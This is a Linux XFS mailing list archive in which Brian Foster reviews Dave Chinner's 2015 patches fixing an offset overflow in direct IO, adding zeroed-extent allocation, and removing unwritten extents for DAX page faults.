xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id CB3917F3F for ; Thu, 29 Oct 2015 09:27:39 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id B71918F8033 for ; Thu, 29 Oct 2015 07:27:36 -0700 (PDT) X-ASG-Debug-ID: 1446128854-04cbb0660f118830001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 9BDnC2x9YQwxYKMh (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Thu, 29 Oct 2015 07:27:35 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx14.intmail.prod.int.phx2.redhat.com (int-mx14.intmail.prod.int.phx2.redhat.com [10.5.11.27]) by mx1.redhat.com (Postfix) with ESMTPS id A18CFA2C34; Thu, 29 Oct 2015 14:27:34 +0000 (UTC) Received: from bfoster.bfoster (dhcp-41-105.bos.redhat.com [10.18.41.105]) by int-mx14.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9TERXil000425; Thu, 29 Oct 2015 10:27:34 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id EC70F1201AB; Thu, 29 Oct 2015 10:27:32 -0400 (EDT) Date: Thu, 29 Oct 2015 10:27:32 -0400 From: Brian Foster To: Dave Chinner Cc: xfs@oss.sgi.com, ross.zwisler@linux.intel.com, jack@suse.cz Subject: Re: [PATCH 1/6] xfs: fix inode size update overflow in xfs_map_direct() Message-ID: <20151029142732.GC11663@bfoster.bfoster> X-ASG-Orig-Subj: Re: [PATCH 1/6] xfs: fix inode size update overflow in xfs_map_direct() References: <1445225238-30413-1-git-send-email-david@fromorbit.com> <1445225238-30413-2-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1445225238-30413-2-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.23 (2014-03-12) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.27 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1446128855 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Mon, Oct 19, 2015 at 02:27:13PM +1100, Dave Chinner wrote: > From: Dave Chinner > > Both direct IO and DAX pass an offset and count into get_blocks that > will overflow a s64 variable when an IO goes into the last supported > block in a file (i.e. at offset 2^63 - 1FSB bytes). This can be seen > from the tracing: > > xfs_get_blocks_alloc: [...] offset 0x7ffffffffffff000 count 4096 > xfs_gbmap_direct: [...] offset 0x7ffffffffffff000 count 4096 > xfs_gbmap_direct_none:[...] offset 0x7ffffffffffff000 count 4096 > > 0x7ffffffffffff000 + 4096 = 0x8000000000000000, and hence that > overflows the s64 offset and we fail to detect the need for a > filesize update and an ioend is not allocated. > > This is *mostly* avoided for direct IO because such extending IOs > occur with full block allocation, and so the "IS_UNWRITTEN()" check > still evaluates as true and we get an ioend that way. However, doing > single sector extending IOs to this last block will expose the fact > that file size updates will not occur after the first allocating > direct IO as the overflow will then be exposed. > > There is one further complexity: the DAX page fault path also > exposes the same issue in block allocation. However, page faults > cannot extend the file size, so in this case we want to allocate the > block but do not want to allocate an ioend to enable file size > update at IO completion. Hence we now need to distinguish between > the direct IO patch allocation and dax fault path allocation to > avoid leaking ioend structures. > > Signed-off-by: Dave Chinner > --- Reviewed-by: Brian Foster > fs/xfs/xfs_aops.c | 50 ++++++++++++++++++++++++++++++++++++++++++++------ > fs/xfs/xfs_aops.h | 2 ++ > fs/xfs/xfs_file.c | 6 +++--- > 3 files changed, 49 insertions(+), 9 deletions(-) > > diff --git a/fs/xfs/xfs_aops.c b/fs/xfs/xfs_aops.c > index e4fff58..366e41eb 100644 > --- a/fs/xfs/xfs_aops.c > +++ b/fs/xfs/xfs_aops.c > @@ -1259,13 +1259,28 @@ xfs_vm_releasepage( > * the DIO. There is only going to be one reference to the ioend and its life > * cycle is constrained by the DIO completion code. hence we don't need > * reference counting here. > + * > + * Note that for DIO, an IO to the highest supported file block offset (i.e. > + * 2^63 - 1FSB bytes) will result in the offset + count overflowing a signed 64 > + * bit variable. Hence if we see this overflow, we have to assume that the IO is > + * extending the file size. We won't know for sure until IO completion is run > + * and the actual max write offset is communicated to the IO completion > + * routine. > + * > + * For DAX page faults, we are preparing to never see unwritten extents here, > + * nor should we ever extend the inode size. Hence we will soon have nothing to > + * do here for this case, ensuring we don't have to provide an IO completion > + * callback to free an ioend that we don't actually need for a fault into the > + * page at offset (2^63 - 1FSB) bytes. > */ > + > static void > xfs_map_direct( > struct inode *inode, > struct buffer_head *bh_result, > struct xfs_bmbt_irec *imap, > - xfs_off_t offset) > + xfs_off_t offset, > + bool dax_fault) > { > struct xfs_ioend *ioend; > xfs_off_t size = bh_result->b_size; > @@ -1278,6 +1293,16 @@ xfs_map_direct( > > trace_xfs_gbmap_direct(XFS_I(inode), offset, size, type, imap); > > + /* XXX: preparation for removing unwritten extents in DAX */ > +#if 0 > + if (dax_fault) { > + ASSERT(type == XFS_IO_OVERWRITE); > + trace_xfs_gbmap_direct_none(XFS_I(inode), offset, size, type, > + imap); > + return; > + } > +#endif > + > if (bh_result->b_private) { > ioend = bh_result->b_private; > ASSERT(ioend->io_size > 0); > @@ -1292,7 +1317,8 @@ xfs_map_direct( > ioend->io_size, ioend->io_type, > imap); > } else if (type == XFS_IO_UNWRITTEN || > - offset + size > i_size_read(inode)) { > + offset + size > i_size_read(inode) || > + offset + size < 0) { > ioend = xfs_alloc_ioend(inode, type); > ioend->io_offset = offset; > ioend->io_size = size; > @@ -1354,7 +1380,8 @@ __xfs_get_blocks( > sector_t iblock, > struct buffer_head *bh_result, > int create, > - bool direct) > + bool direct, > + bool dax_fault) > { > struct xfs_inode *ip = XFS_I(inode); > struct xfs_mount *mp = ip->i_mount; > @@ -1467,7 +1494,8 @@ __xfs_get_blocks( > set_buffer_unwritten(bh_result); > /* direct IO needs special help */ > if (create && direct) > - xfs_map_direct(inode, bh_result, &imap, offset); > + xfs_map_direct(inode, bh_result, &imap, offset, > + dax_fault); > } > > /* > @@ -1514,7 +1542,7 @@ xfs_get_blocks( > struct buffer_head *bh_result, > int create) > { > - return __xfs_get_blocks(inode, iblock, bh_result, create, false); > + return __xfs_get_blocks(inode, iblock, bh_result, create, false, false); > } > > int > @@ -1524,7 +1552,17 @@ xfs_get_blocks_direct( > struct buffer_head *bh_result, > int create) > { > - return __xfs_get_blocks(inode, iblock, bh_result, create, true); > + return __xfs_get_blocks(inode, iblock, bh_result, create, true, false); > +} > + > +int > +xfs_get_blocks_dax_fault( > + struct inode *inode, > + sector_t iblock, > + struct buffer_head *bh_result, > + int create) > +{ > + return __xfs_get_blocks(inode, iblock, bh_result, create, true, true); > } > > static void > diff --git a/fs/xfs/xfs_aops.h b/fs/xfs/xfs_aops.h > index 86afd1a..d39ba25 100644 > --- a/fs/xfs/xfs_aops.h > +++ b/fs/xfs/xfs_aops.h > @@ -58,6 +58,8 @@ int xfs_get_blocks(struct inode *inode, sector_t offset, > struct buffer_head *map_bh, int create); > int xfs_get_blocks_direct(struct inode *inode, sector_t offset, > struct buffer_head *map_bh, int create); > +int xfs_get_blocks_dax_fault(struct inode *inode, sector_t offset, > + struct buffer_head *map_bh, int create); > void xfs_end_io_dax_write(struct buffer_head *bh, int uptodate); > > extern void xfs_count_page_state(struct page *, int *, int *); > diff --git a/fs/xfs/xfs_file.c b/fs/xfs/xfs_file.c > index 2f7b6bd..7f873bc 100644 > --- a/fs/xfs/xfs_file.c > +++ b/fs/xfs/xfs_file.c > @@ -1508,7 +1508,7 @@ xfs_filemap_page_mkwrite( > xfs_ilock(XFS_I(inode), XFS_MMAPLOCK_SHARED); > > if (IS_DAX(inode)) { > - ret = __dax_mkwrite(vma, vmf, xfs_get_blocks_direct, > + ret = __dax_mkwrite(vma, vmf, xfs_get_blocks_dax_fault, > xfs_end_io_dax_write); > } else { > ret = __block_page_mkwrite(vma, vmf, xfs_get_blocks); > @@ -1543,7 +1543,7 @@ xfs_filemap_fault( > * changes to xfs_get_blocks_direct() to map unwritten extent > * ioend for conversion on read-only mappings. > */ > - ret = __dax_fault(vma, vmf, xfs_get_blocks_direct, NULL); > + ret = __dax_fault(vma, vmf, xfs_get_blocks_dax_fault, NULL); > } else > ret = filemap_fault(vma, vmf); > xfs_iunlock(XFS_I(inode), XFS_MMAPLOCK_SHARED); > @@ -1570,7 +1570,7 @@ xfs_filemap_pmd_fault( > sb_start_pagefault(inode->i_sb); > file_update_time(vma->vm_file); > xfs_ilock(XFS_I(inode), XFS_MMAPLOCK_SHARED); > - ret = __dax_pmd_fault(vma, addr, pmd, flags, xfs_get_blocks_direct, > + ret = __dax_pmd_fault(vma, addr, pmd, flags, xfs_get_blocks_dax_fault, > xfs_end_io_dax_write); > xfs_iunlock(XFS_I(inode), XFS_MMAPLOCK_SHARED); > sb_end_pagefault(inode->i_sb); > -- > 2.5.0 > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From bfoster@redhat.com Thu Oct 29 09:28:02 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 80F327F3F for ; Thu, 29 Oct 2015 09:28:02 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id E6CDEAC003 for ; Thu, 29 Oct 2015 07:28:01 -0700 (PDT) X-ASG-Debug-ID: 1446128879-04cbb0660e118860001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 8PEUJQS1Aa2sScZ7 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Thu, 29 Oct 2015 07:28:00 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (Postfix) with ESMTPS id 96CF48E371; Thu, 29 Oct 2015 14:27:59 +0000 (UTC) Received: from bfoster.bfoster (dhcp-41-105.bos.redhat.com [10.18.41.105]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9TERxbn024182; Thu, 29 Oct 2015 10:27:59 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 1947D1201AB; Thu, 29 Oct 2015 10:27:58 -0400 (EDT) Date: Thu, 29 Oct 2015 10:27:58 -0400 From: Brian Foster To: Dave Chinner Cc: xfs@oss.sgi.com, ross.zwisler@linux.intel.com, jack@suse.cz Subject: Re: [PATCH 2/6] xfs: introduce BMAPI_ZERO for allocating zeroed extents Message-ID: <20151029142757.GD11663@bfoster.bfoster> X-ASG-Orig-Subj: Re: [PATCH 2/6] xfs: introduce BMAPI_ZERO for allocating zeroed extents References: <1445225238-30413-1-git-send-email-david@fromorbit.com> <1445225238-30413-3-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1445225238-30413-3-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.23 (2014-03-12) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1446128880 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Mon, Oct 19, 2015 at 02:27:14PM +1100, Dave Chinner wrote: > From: Dave Chinner > > To enable DAX to do atomic allocation of zeroed extents, we need to > drive the block zeroing deep into the allocator. Because > xfs_bmapi_write() can return merged extents on allocation that were > only partially allocated (i.e. requested range spans allocated and > hole regions, allocation into the hole was contiguous), we cannot > zero the extent returned from xfs_bmapi_write() as that can > overwrite existing data with zeros. > > Hence we have to drive the extent zeroing into the allocation code, > prior to where we merge the extents into the BMBT and return the > resultant map. This means we need to propagate this need down to > the xfs_alloc_vextent() and issue the block zeroing at this point. > > While this functionality is being introduced for DAX, there is no > reason why it is specific to DAX - we can per-zero blocks during the > allocation transaction on any type of device. It's just slow (and > usually slower than unwritten allocation and conversion) on > traditional block devices so doesn't tend to get used. We can, > however, hook hardware zeroing optimisations via sb_issue_zeroout() > to this operation, so it may be useful in future and hence the > "allocate zeroed blocks" API needs to be implementation neutral. > > Signed-off-by: Dave Chinner > --- > fs/xfs/libxfs/xfs_alloc.c | 10 +++++++++- > fs/xfs/libxfs/xfs_alloc.h | 8 +++++--- > fs/xfs/libxfs/xfs_bmap.c | 25 +++++++++++++++++++++++-- > fs/xfs/libxfs/xfs_bmap.h | 13 +++++++++++-- > fs/xfs/xfs_bmap_util.c | 36 ++++++++++++++++++++++++++++++++++++ > fs/xfs/xfs_mount.h | 3 +++ > 6 files changed, 87 insertions(+), 8 deletions(-) > > diff --git a/fs/xfs/libxfs/xfs_alloc.c b/fs/xfs/libxfs/xfs_alloc.c > index e926197..3479294 100644 > --- a/fs/xfs/libxfs/xfs_alloc.c > +++ b/fs/xfs/libxfs/xfs_alloc.c > @@ -2509,7 +2509,7 @@ xfs_alloc_vextent( > * Try near allocation first, then anywhere-in-ag after > * the first a.g. fails. > */ > - if ((args->userdata == XFS_ALLOC_INITIAL_USER_DATA) && > + if ((args->userdata & XFS_ALLOC_INITIAL_USER_DATA) && > (mp->m_flags & XFS_MOUNT_32BITINODES)) { > args->fsbno = XFS_AGB_TO_FSB(mp, > ((mp->m_agfrotor / rotorstep) % > @@ -2640,6 +2640,14 @@ xfs_alloc_vextent( > XFS_AG_CHECK_DADDR(mp, XFS_FSB_TO_DADDR(mp, args->fsbno), > args->len); > #endif > + > + /* Zero the extent if we were asked to do so */ > + if (args->userdata & XFS_ALLOC_USERDATA_ZERO) { > + error = xfs_zero_extent(args->ip, args->fsbno, args->len); > + if (error) > + goto error0; > + } > + Ok, so we wire up zeroing to the actual block allocation here... > } > xfs_perag_put(args->pag); > return 0; > diff --git a/fs/xfs/libxfs/xfs_alloc.h b/fs/xfs/libxfs/xfs_alloc.h > index ca1c816..0ecde4d 100644 > --- a/fs/xfs/libxfs/xfs_alloc.h > +++ b/fs/xfs/libxfs/xfs_alloc.h > @@ -101,6 +101,7 @@ typedef struct xfs_alloc_arg { > struct xfs_mount *mp; /* file system mount point */ > struct xfs_buf *agbp; /* buffer for a.g. freelist header */ > struct xfs_perag *pag; /* per-ag struct for this agno */ > + struct xfs_inode *ip; /* for userdata zeroing method */ > xfs_fsblock_t fsbno; /* file system block number */ > xfs_agnumber_t agno; /* allocation group number */ > xfs_agblock_t agbno; /* allocation group-relative block # */ > @@ -120,15 +121,16 @@ typedef struct xfs_alloc_arg { > char wasdel; /* set if allocation was prev delayed */ > char wasfromfl; /* set if allocation is from freelist */ > char isfl; /* set if is freelist blocks - !acctg */ > - char userdata; /* set if this is user data */ > + char userdata; /* mask defining userdata treatment */ > xfs_fsblock_t firstblock; /* io first block allocated */ > } xfs_alloc_arg_t; > > /* > * Defines for userdata > */ > -#define XFS_ALLOC_USERDATA 1 /* allocation is for user data*/ > -#define XFS_ALLOC_INITIAL_USER_DATA 2 /* special case start of file */ > +#define XFS_ALLOC_USERDATA (1 << 0)/* allocation is for user data*/ > +#define XFS_ALLOC_INITIAL_USER_DATA (1 << 1)/* special case start of file */ > +#define XFS_ALLOC_USERDATA_ZERO (1 << 2)/* zero extent on allocation */ > > xfs_extlen_t xfs_alloc_longest_free_extent(struct xfs_mount *mp, > struct xfs_perag *pag, xfs_extlen_t need); > diff --git a/fs/xfs/libxfs/xfs_bmap.c b/fs/xfs/libxfs/xfs_bmap.c > index ab92d10..590cbec 100644 > --- a/fs/xfs/libxfs/xfs_bmap.c > +++ b/fs/xfs/libxfs/xfs_bmap.c > @@ -3802,8 +3802,13 @@ xfs_bmap_btalloc( > args.wasdel = ap->wasdel; > args.isfl = 0; > args.userdata = ap->userdata; > - if ((error = xfs_alloc_vextent(&args))) > + if (ap->userdata & XFS_ALLOC_USERDATA_ZERO) > + args.ip = ap->ip; > + > + error = xfs_alloc_vextent(&args); > + if (error) > return error; > + > if (tryagain && args.fsbno == NULLFSBLOCK) { > /* > * Exact allocation failed. Now try with alignment > @@ -4302,11 +4307,14 @@ xfs_bmapi_allocate( > > /* > * Indicate if this is the first user data in the file, or just any > - * user data. > + * user data. And if it is userdata, indicate whether it needs to > + * be initialised to zero during allocation. > */ > if (!(bma->flags & XFS_BMAPI_METADATA)) { > bma->userdata = (bma->offset == 0) ? > XFS_ALLOC_INITIAL_USER_DATA : XFS_ALLOC_USERDATA; > + if (bma->flags & XFS_BMAPI_ZERO) > + bma->userdata |= XFS_ALLOC_USERDATA_ZERO; > } > > bma->minlen = (bma->flags & XFS_BMAPI_CONTIG) ? bma->length : 1; > @@ -4421,6 +4429,17 @@ xfs_bmapi_convert_unwritten( > mval->br_state = (mval->br_state == XFS_EXT_UNWRITTEN) > ? XFS_EXT_NORM : XFS_EXT_UNWRITTEN; > > + /* > + * Before insertion into the bmbt, zero the range being converted > + * if required. > + */ > + if (flags & XFS_BMAPI_ZERO) { > + error = xfs_zero_extent(bma->ip, mval->br_startblock, > + mval->br_blockcount); > + if (error) > + return error; > + } > + ... and also zero the extent on unwritten conversion, if necessary. I suspect there's no use case to pass XFS_BMAPI_ZERO for new unwritten allocations, but if the flag is passed, doesn't this cause duplicate block zeroing? Perhaps we should drop the zero flag from 'flags' after allocation in xfs_bmapi_write() just to ensure this executes in one place or the other..? > error = xfs_bmap_add_extent_unwritten_real(bma->tp, bma->ip, &bma->idx, > &bma->cur, mval, bma->firstblock, bma->flist, > &tmp_logflags); > @@ -4513,6 +4532,8 @@ xfs_bmapi_write( > ASSERT(len > 0); > ASSERT(XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_LOCAL); > ASSERT(xfs_isilocked(ip, XFS_ILOCK_EXCL)); > + ASSERT((flags & (XFS_BMAPI_METADATA | XFS_BMAPI_ZERO)) != > + (XFS_BMAPI_METADATA | XFS_BMAPI_ZERO)); > > if (unlikely(XFS_TEST_ERROR( > (XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_EXTENTS && > diff --git a/fs/xfs/libxfs/xfs_bmap.h b/fs/xfs/libxfs/xfs_bmap.h > index 6aaa0c1..a160f8a 100644 > --- a/fs/xfs/libxfs/xfs_bmap.h > +++ b/fs/xfs/libxfs/xfs_bmap.h > @@ -52,9 +52,9 @@ struct xfs_bmalloca { > xfs_extlen_t minleft; /* amount must be left after alloc */ > bool eof; /* set if allocating past last extent */ > bool wasdel; /* replacing a delayed allocation */ > - bool userdata;/* set if is user data */ > bool aeof; /* allocated space at eof */ > bool conv; /* overwriting unwritten extents */ > + char userdata;/* userdata mask */ > int flags; > }; > > @@ -109,6 +109,14 @@ typedef struct xfs_bmap_free > */ > #define XFS_BMAPI_CONVERT 0x040 > > +/* > + * allocate zeroed extents - this requires all newly allocated user data extents > + * to be initialised to zero. It will be ignored if XFS_BMAPI_METADATA is set. > + * Use in conjunction with XFS_BMAPI_CONVERT to convert unwritten extents found > + * during the allocation range to zeroed written extents. > + */ > +#define XFS_BMAPI_ZERO 0x080 > + > #define XFS_BMAPI_FLAGS \ > { XFS_BMAPI_ENTIRE, "ENTIRE" }, \ > { XFS_BMAPI_METADATA, "METADATA" }, \ > @@ -116,7 +124,8 @@ typedef struct xfs_bmap_free > { XFS_BMAPI_PREALLOC, "PREALLOC" }, \ > { XFS_BMAPI_IGSTATE, "IGSTATE" }, \ > { XFS_BMAPI_CONTIG, "CONTIG" }, \ > - { XFS_BMAPI_CONVERT, "CONVERT" } > + { XFS_BMAPI_CONVERT, "CONVERT" }, \ > + { XFS_BMAPI_ZERO, "ZERO" } > > > static inline int xfs_bmapi_aflag(int w) > diff --git a/fs/xfs/xfs_bmap_util.c b/fs/xfs/xfs_bmap_util.c > index eca325e..dbae649 100644 > --- a/fs/xfs/xfs_bmap_util.c > +++ b/fs/xfs/xfs_bmap_util.c > @@ -57,6 +57,35 @@ xfs_fsb_to_db(struct xfs_inode *ip, xfs_fsblock_t fsb) > } > > /* > + * Routine to zero an extent on disk allocated to the specific inode. > + * > + * The VFS functions take a linearised filesystem block offset, so we have to > + * convert the sparse xfs fsb to the right format first. > + * VFS types are real funky, too. > + */ > +int > +xfs_zero_extent( > + struct xfs_inode *ip, > + xfs_fsblock_t start_fsb, > + xfs_off_t count_fsb) > +{ > + struct xfs_mount *mp = ip->i_mount; > + xfs_daddr_t sector = xfs_fsb_to_db(ip, start_fsb); > + sector_t block = XFS_BB_TO_FSBT(mp, sector); > + ssize_t size = XFS_FSB_TO_B(mp, count_fsb); > + > + if (IS_DAX(VFS_I(ip))) > + return dax_clear_blocks(VFS_I(ip), block, size); > + > + /* > + * let the block layer decide on the fastest method of > + * implementing the zeroing. > + */ > + return sb_issue_zeroout(mp->m_super, block, count_fsb, GFP_NOFS); The count param to sb_issue_zeroout() is a sector_t and we're passing an FSB. Brian > + > +} > + > +/* > * Routine to be called at transaction's end by xfs_bmapi, xfs_bunmapi > * caller. Frees all the extents that need freeing, which must be done > * last due to locking considerations. We never free any extents in > @@ -229,6 +258,13 @@ xfs_bmap_rtalloc( > xfs_trans_mod_dquot_byino(ap->tp, ap->ip, > ap->wasdel ? XFS_TRANS_DQ_DELRTBCOUNT : > XFS_TRANS_DQ_RTBCOUNT, (long) ralen); > + > + /* Zero the extent if we were asked to do so */ > + if (ap->userdata & XFS_ALLOC_USERDATA_ZERO) { > + error = xfs_zero_extent(ap->ip, ap->blkno, ap->length); > + if (error) > + return error; > + } > } else { > ap->length = 0; > } > diff --git a/fs/xfs/xfs_mount.h b/fs/xfs/xfs_mount.h > index 8795272..f20e5de 100644 > --- a/fs/xfs/xfs_mount.h > +++ b/fs/xfs/xfs_mount.h > @@ -337,4 +337,7 @@ extern int xfs_dev_is_read_only(struct xfs_mount *, char *); > > extern void xfs_set_low_space_thresholds(struct xfs_mount *); > > +int xfs_zero_extent(struct xfs_inode *ip, xfs_fsblock_t start_fsb, > + xfs_off_t count_fsb); > + > #endif /* __XFS_MOUNT_H__ */ > -- > 2.5.0 > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From bfoster@redhat.com Thu Oct 29 09:29:53 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 70CE87F3F for ; Thu, 29 Oct 2015 09:29:53 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 0DE46AC003 for ; Thu, 29 Oct 2015 07:29:52 -0700 (PDT) X-ASG-Debug-ID: 1446128991-04bdf0330b118b90001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id esLS4C8InkdylaqD (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Thu, 29 Oct 2015 07:29:52 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id D1AF6C0A524D; Thu, 29 Oct 2015 14:29:51 +0000 (UTC) Received: from bfoster.bfoster (dhcp-41-105.bos.redhat.com [10.18.41.105]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9TETplB027712; Thu, 29 Oct 2015 10:29:51 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 6F9D31201AB; Thu, 29 Oct 2015 10:29:50 -0400 (EDT) Date: Thu, 29 Oct 2015 10:29:50 -0400 From: Brian Foster To: Dave Chinner Cc: xfs@oss.sgi.com, ross.zwisler@linux.intel.com, jack@suse.cz Subject: Re: [PATCH 3/6] xfs: Don't use unwritten extents for DAX Message-ID: <20151029142950.GE11663@bfoster.bfoster> X-ASG-Orig-Subj: Re: [PATCH 3/6] xfs: Don't use unwritten extents for DAX References: <1445225238-30413-1-git-send-email-david@fromorbit.com> <1445225238-30413-4-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1445225238-30413-4-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.23 (2014-03-12) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1446128992 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Mon, Oct 19, 2015 at 02:27:15PM +1100, Dave Chinner wrote: > From: Dave Chinner > > DAX has a page fault serialisation problem with block allocation. > Because it allows concurrent page faults and does not have a page > lock to serialise faults to the same page, it can get two concurrent > faults to the page that race. > > When two read faults race, this isn't a huge problem as the data > underlying the page is not changing and so "detect and drop" works > just fine. The issues are to do with write faults. > > When two write faults occur, we serialise block allocation in > get_blocks() so only one faul will allocate the extent. It will, > however, be marked as an unwritten extent, and that is where the > problem lies - the DAX fault code cannot differentiate between a > block that was just allocated and a block that was preallocated and > needs zeroing. The result is that both write faults end up zeroing > the block and attempting to convert it back to written. > > The problem is that the first fault can zero and convert before the > second fault starts zeroing, resulting in the zeroing for the second > fault overwriting the data that the first fault wrote with zeros. > The second fault then attempts to convert the unwritten extent, > which is then a no-op because it's already written. Data loss occurs > as a result of this race. > > Because there is no sane locking construct in the page fault code > that we can use for serialisation across the page faults, we need to > ensure block allocation and zeroing occurs atomically in the > filesystem. This means we can still take concurrent page faults and > the only time they will serialise is in the filesystem > mapping/allocation callback. The page fault code will always see > written, initialised extents, so we will be able to remove the > unwritten extent handling from the DAX code when all filesystems are > converted. > > Signed-off-by: Dave Chinner > --- > fs/dax.c | 5 +++++ > fs/xfs/xfs_aops.c | 13 +++++++++---- > fs/xfs/xfs_iomap.c | 21 ++++++++++++++++++++- > 3 files changed, 34 insertions(+), 5 deletions(-) > ... > diff --git a/fs/xfs/xfs_iomap.c b/fs/xfs/xfs_iomap.c > index c3cb5a5..f4f5b43 100644 > --- a/fs/xfs/xfs_iomap.c > +++ b/fs/xfs/xfs_iomap.c ... > tp = xfs_trans_alloc(mp, XFS_TRANS_DIOSTRAT); > + > + /* > + * For DAX, we do not allocate unwritten extents, but instead we zero > + * the block before we commit the transaction. Ideally we'd like to do > + * this outside the transaction context, but if we commit and then crash > + * we may not have zeroed the blocks and this will be exposed on > + * recovery of the allocation. Hence we must zero before commit. > + * Further, if we are mapping unwritten extents here, we need to zero > + * and convert them to written so that we don't need an unwritten extent > + * callback for DAX. This also means that we need to be able to dip into > + * the reserve block pool if there is no space left but we need to do > + * unwritten extent conversion. > + */ > + if (IS_DAX(VFS_I(ip))) { > + bmapi_flags = XFS_BMAPI_CONVERT | XFS_BMAPI_ZERO; > + tp->t_flags |= XFS_TRANS_RESERVE; > + } Am I following the commit log description correctly in that block zeroing is only required for DAX faults? Do we zero blocks for DAX DIO as well to be consistent, or is that also required (because it looks like we still have end_io completion for dio writes anyways)? Brian > error = xfs_trans_reserve(tp, &M_RES(mp)->tr_write, > resblks, resrtextents); > /* > @@ -221,7 +239,7 @@ xfs_iomap_write_direct( > xfs_bmap_init(&free_list, &firstfsb); > nimaps = 1; > error = xfs_bmapi_write(tp, ip, offset_fsb, count_fsb, > - XFS_BMAPI_PREALLOC, &firstfsb, resblks, imap, > + bmapi_flags, &firstfsb, resblks, imap, > &nimaps, &free_list); > if (error) > goto out_bmap_cancel; > @@ -232,6 +250,7 @@ xfs_iomap_write_direct( > error = xfs_bmap_finish(&tp, &free_list, &committed); > if (error) > goto out_bmap_cancel; > + > error = xfs_trans_commit(tp); > if (error) > goto out_unlock; > -- > 2.5.0 > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From bfoster@redhat.com Thu Oct 29 09:30:04 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 